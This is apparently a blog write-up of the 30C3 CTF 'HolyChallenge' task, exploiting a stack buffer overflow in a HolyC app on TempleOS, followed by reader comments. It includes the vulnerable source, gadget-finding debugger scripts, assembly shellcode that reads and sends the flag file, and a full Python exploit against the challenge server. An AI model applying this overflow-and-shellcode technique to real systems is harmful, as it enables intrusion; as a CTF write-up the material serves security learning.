HolyChallenge was a 30C3 CTF pwn task in which you were could talk (via TCP→serial) with a few-line-of-code application with an obvious stack-based buffer overflow. Now here's the twist: the app was run under 64-bit x86 TempleOS and was written in HolyC (as is the rest of the system) :)
Apart from the network access you were also provided with a local image of TempleOS running the CTF app, which allowed us to both do local tests and dump it's disk content (it used a FAT partition). The CTF app found on the disk looked like this:
U0 service_main()
{
CommBusyPutS(1, "Hi!\nWelcome to the HolyChall!\nWhats Your Name?\n");
U8 buffer[128];
CommBusyGetS(1, buffer); ← obvious buffer overflow
CommBusyPutS(1, "Unfortunately, there is not much in here, ");
CommBusyPutS(1, buffer);
CommBusyPutS(1, ".\n");
}
U0 service_parent()
{
U8 b[1024];
service_main;
CommBusyPutS(1, "Hope you still had some fun...\nBye!\n");
}
service_parent;
So at first this looks pretty terrifying (unknown OS/API/etc), but it turns out the local image was compiled with TempleOS system debugger, which actually is pretty awesome! It's like a C (well, HolyC actually) scripted SoftICE - when you sent the name as e.g. "A"*256 (and so crashed the app), you would instantly be put in the debugger and could see the registers, play with memory, read addresses, etc (that being said, it did change the context to some other process).
We started by checking if we could put NUL-bytes in the shellcode and if it actually really was as simple as it looked. We've done this by running a very simple HolyC script in the debugger that looked for the EB FE (jmp $) sequence in memory below current RIP:
U8 *y; for(y=0; y<_RIP; y++) if(*y == 0xEB && *(y+1) == 0xFF) Print("%x\n", y);Running this gave us a couple of addresses; we've picked one we liked, added it (as 64-bit address) to the end of a string of 128+8 "A" letters, and inputted the result as the name (we used tcp for tests instead of stdin). As expected, the code did not crash and the displayed CPU usage went up to 99% - good.
The rest of the task was to learn enough about the TempleOS API to be able to open the flag.TXT file, read it and send it using CommBusyPutS (that much was obvious) to the serial port, which would transmit it via network to us.
The source code of TempleOS was really useful here, since it quickly allowed us to learn about a FileRead function, which reads N bytes from a file. Next we used the debugger to get the addresses (the beauty of non-ASLR OSes) of these functions (using &FileRead; and &CommBusyPutS; commands), as well as another short script to find the sequence FF E4 (jmp rsp) in memory (to return to the stack). Once we had the addresses, we created a simple payload:
[bits 64] ; Give us some breathing space on the stack. sub rsp, 0x100 mov rbp, rsp sub rsp, 0x100 ; Get the flag. push 64 lea rax, [rel str1] push rax mov eax, 0x2e39b ; FileRead call rax ; Send it. push rax push 1 mov eax, 0x1dcf0 ; CommBusyPutS call rax ; Enter the debugger. ud2 str1: db "Flag.TXT", 0
The payload worked locally, so it was time to attack the server. The server did require to find a collision for the first 32-bits of a given SHA1 hash in order to even attempt to exploit the challenge - this made us write a simple C program that looked for the collision and call it from our Python exploit (see the end of the post). Finally it worked and we got the flag:
gynvael:haven-windows> test2.py Welcome to Holy Challenge! Unfortunately, this challenge consumes much cpu on our servers so you have to waste some cpu cycles too :) please give a base64 encoded chunk of data resulting in a sha1 hash starting with hex:79aa76aa > -- Work to do: 79aa76aa Running: a.exe 79aa76aa>solved2.txt Solution: TyMBBg== Right, now we start a vm for you (it will be killed after 30 seconds). Hi! Welcome to the HolyChall! Whats Your Name? Unfortunately, there is not much in here, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBö@♥. 30C3_8toOUj01ONlWK
The Python part of our exploit:
# Echo server program import socket import struct import sys import os import base64 def RecvUntil(sock, txt): d = "" while d.find(txt) == -1: try: dnow = sock.recv(1024) if len(dnow) == 0: print "[WARNING] RecvUntil() failed at recv" return False except socket.error as msg: print "[WARNING] RecvUntil() failed:", msg return False d += dnow return d HOST = '88.198.89.193' PORT = 2323 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) data = RecvUntil(s, "> ") print data work=data[data.find('hex:') + 4:] work=work[:8] print "-- Work to do:", work to_run = "a.exe %s>solved.txt" % work print "Running:", to_run os.system(to_run) n = int(open("solved.txt", "r").read(), 16) n = base64.b64encode(struct.pack("<I", n)) print "Solution:", n s.sendall(n + "\n") data = RecvUntil(s, "Whats Your Name?") print data JMP_RSP = struct.pack("<Q", 0x34094) #shell = "asdf" shell = ("A"*128) shell += ("B"*8) shell += JMP_RSP with open("shellcode", "rb") as f: shell += f.read() shell += "\n"; s.sendall(shell) data = RecvUntil(s, ".") print data while True: d = s.recv(1024) if d == '': break print "Recv:", d
A really fun task :)
Great, Thanks !
ReplyDeleteMy website tells me where visitor links come from. http://www.templeos.org
ReplyDeleteHave you done any hymns? Has God talked? God is not a pwn.
God says, "Caesar disorders weeping Paul infirmities- seeing sentences
haled shameless Angel's stripped glass hated here manhood
afternoon ministry accounted hastened anyone consuming
Grammar arts kindly unshaken abundantly true *END justifieth
promising "